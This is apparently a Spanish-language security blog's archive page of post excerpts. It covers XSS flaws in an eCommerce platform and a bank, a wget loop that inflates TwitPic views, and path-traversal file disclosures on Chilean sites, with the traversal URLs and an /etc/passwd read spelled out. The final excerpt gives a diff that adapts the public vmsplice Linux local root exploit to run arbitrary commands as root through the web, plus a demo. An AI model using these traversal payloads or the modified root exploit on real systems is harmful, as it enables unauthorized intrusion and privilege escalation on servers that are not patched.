Etiquetabug

MyStore vulnerable a Cross-Site Scripting: Miles de sitios afectados

MyStore es una plataforma de comercio electrónico (eCommerce) escrita en PHP y utilizada por miles de sitios web. La plataforma tiene una vulnerabilidad Cross-Site Scripting en el archivo usado para desplegar errores al usuario, en el módulo de administración y es accesible por cualquier usuario sin previa autentificación, por lo que es posible explotar la vulnerabilidad y preparar un ataque hacia los clientes de los sitios web que implementan el sistema.

Según Google, son un poco más de mil sitios los que utilizan esta plataforma y que serían vulnerables a este tipo de ataques.

Al tratarse de un eCommerce, esta vulnerabilidad es aún más peligrosa ya que el atacante podría explotarla para obtener información de los usuarios como números de tarjetas de crédito, correos, usuarios y contraseñas, todo esto mediante phishing, usando el dominio del sitio en el que el usuario confía. Tambien se pueden elaborar ataques mas sofisticados para robar las sesiones a los usuarios que previamente hayan iniciado sesión.

Seguir leyendo

Grupo Santander: También se suma a la moda del XSS

Así es, pareciera ser que los errores de programación (bug) que dejan expuestos a los usuarios mediante vulnerabilidades Cross-Site Scripting (XSS) estan de moda, es increible ver la cantidad de sistemas de todo tipo que tienen este tipo de vulnerabilidad. Desde un simple sitio web de noticias hasta un sistema bancario. La unica explicación que puedo encontrar es que al tratarse de una vulnerabilidad que afecta a los usuarios y no a las empresas, le bajan el perfil y no se preocupan en corregirla cuando son reportadas. Que sepan tu contraseña, que cambien tu información, que sepan información privada tuya o que puedan acceder a tu cuenta sin tu permisos solamente te afecta a ti, el dueño del sitio se puede lavar las manos.
La mayoría de los XSS se producen en buscadores y en mensajes de error.

Seguir leyendo

Useless: Aumentar las ‘vistas’ de tu imágen en TwitPic

logo-tpicCómo dice en el título, algo completamente useless, le mostraré un tip de cómo aumentar las vistas de tus imágenes (o de otros) subidas a TwitPic (un servicio de hosting de imágenes sincronziado con twitter [un sistema de microbloggin’]).

Aunque está falla no implica ningún riesgo de seguridad, yo lo considero un bug y se los reporté a los encargados de TwitPic, pero no lo han solucionado ni me han respuesto el correo.
Este bug lo podemos comprobar al hacer varias veces F5 (recargar la página) y vemos como las visitas aumentan.
El comando para aprovecharse de este bug:

while /bin/true; do wget -O /dev/null -o /dev/null; done

Seguir leyendo

Problemas de seguridad en sitio del Observatorio Latinoamericano de Seguridad Ciudadana

Una véz más, un sitio chileno compromete su seguridad por falta de validación en la entrada de datos o argumentos pasados por url. Es el turno del sitio del web Observatorio Latinoamericano de Seguridad Ciudadana (OLSC) quien sufría de un fallo de seguridad importante al poder acceder a cualquier fichero del servidor, incluyendo los códigos fuentes de los scripts php.
Gracias al script download.php que nos permitia descargar cualquier fichero fue posible obtener información sensible como:

Información de conexion a la base de datos

Como es de costumbre, me comuniqué con el encargado de este sitio web y le comenté el problema, él se mostró muy interesado y solucionó de inmediato el problema, su respuesta fue:

Ya hice el cambio que me recomendaste para permitir sólo descargas desde el directorio files. Te agradezco sinceramente el consejo que me diste, no sólo porque ha evitado un problema para la gente de olsc, sino también la gente de otros sitios que he hecho donde también he usado esta función.

La URL vulnerable era la siguiente es https://www.olsc.cl/download.php?f=../../../../fichero/a/obtener, la cual fue removida.

Vulnerabilidad en un sitio de la Universidad de Chile

Se trata del sitio de la biblioteca virtual de la Facultad de Economia y Negocios (FEN) de la Universidad de Chile. Hace un par de dias descubri una vulnerabilidad del tipo path disclosure en https://bibliodoc.fen.uchile.cl.

La forma de explotar este fallo era iniciar sesion con cualquier usuario y buscar algun documento, cuando acercabamos el mouse hacia el link podiamos ver:

uchile-path

Si modificabamos ese link, remplazando documento para descargar.pdf por alguna ruta a un archivo de sistema, podremos descargarlo. Por ejemplo

uchile-path1

Con ../../../../ nos aseguramos retroceder lo suficiente para llegar a la raiz y con /etc/passwd le decimos al script download.php que nos entregue el fichero passwd, que guarda la informacion de usuarios de sistema. Obteniendo lo siguiente:

uchile-path2

Dias despues de explotar y confirmar esta vulnerabilidad, me di el trabajo de comunicarles a los de soporte de ese sitio sobre este fallo obteniendo una respuesta en poco tiempo. Estaban muy agradecidos por haberles comunicado el problema. En unos minutos me agrego a gtalk/jabber el desarrollador del portal y me hizo unas preguntas, para saber como habia logrado explotar esa vulnerabilidad y en que consistia y, luego de haberle respondido algunas preguntas y haberlo ayudado, rapidamente solucionó el problema.

Las vulnerabilidades de tipo file/path disclosure son aquellas donde de alguna u otra forma podemos acceder a archivos del sistema que estan fuera del path de la web, como en este caso, por ejemplo si la web hubiese estado en /var/www/bibliodoc, mediante este bug pudimos acceder a un archivo ubicado en /etc/ que, claramente, esta fuera del directorio.

root exploit: Ejecutar comando como root

Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff

  1. 51a52
  2. > char  *_cmd;
  3. 55d55
  4. < printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  5. 182,183d181
  6. <
  7. <       printf("[+] root\n");
  8. 185c183,184
  9. <       execl("/bin/bash", "bash", "-i", NULL);
  10. >       system(_cmd);
  11. >       //execl("/bin/bash", "bash", "-i", NULL);
  12. 195a195
  13. >       _cmd = argv[1];
  14. 202,205d201
  15. < printf("———————————–\n");
  16. <       printf(" Linux vmsplice Local Root Exploit\n");
  17. <       printf(" By qaaz\n");
  18. <       printf("———————————–\n");
  19. 221,223d216
  20. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  21. <       printf("[+] page: 0x%lx\n", pages[0]);
  22. <       printf("[+] page: 0x%lx\n", pages[1]);
  23. 241,243d233
  24. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  25. <       printf("[+] page: 0x%lx\n", pages[2]);
  26. <       printf("[+] page: 0x%lx\n", pages[3]);
  27. 258,259d247
  28. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  29. <       printf("[+] page: 0x%lx\n", pages[4]);
  30. 269d256
  31. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion

username@machine:~$ ./root-exploit whoami
root
username@machine:~$

Seguir leyendo